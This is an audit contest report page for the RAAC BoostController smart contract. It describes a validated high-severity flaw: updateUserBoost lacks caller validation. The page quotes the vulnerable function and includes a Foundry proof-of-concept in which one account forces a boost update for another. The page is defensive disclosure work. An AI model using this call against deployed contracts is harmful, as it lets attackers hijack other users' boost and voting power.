Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Attacker can force any user to delegate boost to any pool

Summary

By calling BoostController.updateUserBoost, attacker can force any user to delegate their boost to any given pool.

Vulnerability Details

BoostController.updateUserBoost updates the boost value for a user in a specific pool.

However, it doesn't check user's current delegated amount

function updateUserBoost(address user, address pool) external override nonReentrant whenNotPaused {
if (paused()) revert EmergencyPaused();
if (user == address(0)) revert InvalidPool();
if (!supportedPools[pool]) revert PoolNotSupported();
UserBoost storage userBoost = userBoosts[user][pool];
PoolBoost storage poolBoost = poolBoosts[pool];
uint256 oldBoost = userBoost.amount;
// Calculate new boost based on current veToken balance
@> uint256 newBoost = _calculateBoost(user, pool, 10000); // Base amount
@> userBoost.amount = newBoost;
userBoost.lastUpdateTime = block.timestamp;
// Update pool totals safely
if (newBoost >= oldBoost) {
poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
} else {
poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
}
poolBoost.workingSupply = newBoost; // Set working supply directly to new boost
poolBoost.lastUpdateTime = block.timestamp;
emit BoostUpdated(user, pool, newBoost);
emit PoolBoostUpdated(pool, poolBoost.totalBoost, poolBoost.workingSupply);
}

Since anyone can invoke this external function, this means attackers can force anyone to delegate boost to any pool.

POC

pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {BoostController} from "../contracts/core/governance/boost/BoostController.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {MockPool} from "../contracts/mocks/core/pools/MockPool.sol";
contract BoostControllerTest is Test {
veRAACToken veToken;
RAACToken raacToken;
BoostController boostController;
address pool;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address eve = makeAddr("eve");
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
boostController = new BoostController(address(veToken));
pool = address(new MockPool());
boostController.modifySupportedPool(pool, true);
vm.label(pool, "pool");
}
function testForceDelegation() external {
assertEq(boostController.getWorkingBalance(alice, pool), 0);
_dealVeToken(alice, 1000e18);
vm.startPrank(eve);
boostController.updateUserBoost(alice, pool);
vm.stopPrank();
assertGt(boostController.getWorkingBalance(alice, pool), 0);
}
function _dealVeToken(address account, uint256 amount) internal {
if (amount == 0) {
return;
}
deal(address(raacToken), account, amount);
vm.startPrank(account);
raacToken.approve(address(veToken), amount);
veToken.lock(amount, veToken.MAX_LOCK_DURATION());
vm.stopPrank();
}
}

Impact

Attacker can force any user to delegate boost to any pool

Tools Used

Manual Review

Recommendations

There should be some relation between oldBoostand newBoost.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost lacks caller validation, allowing anyone to force delegation of any user's boost to any pool without consent, hijacking voting power

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost lacks caller validation, allowing anyone to force delegation of any user's boost to any pool without consent, hijacking voting power

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!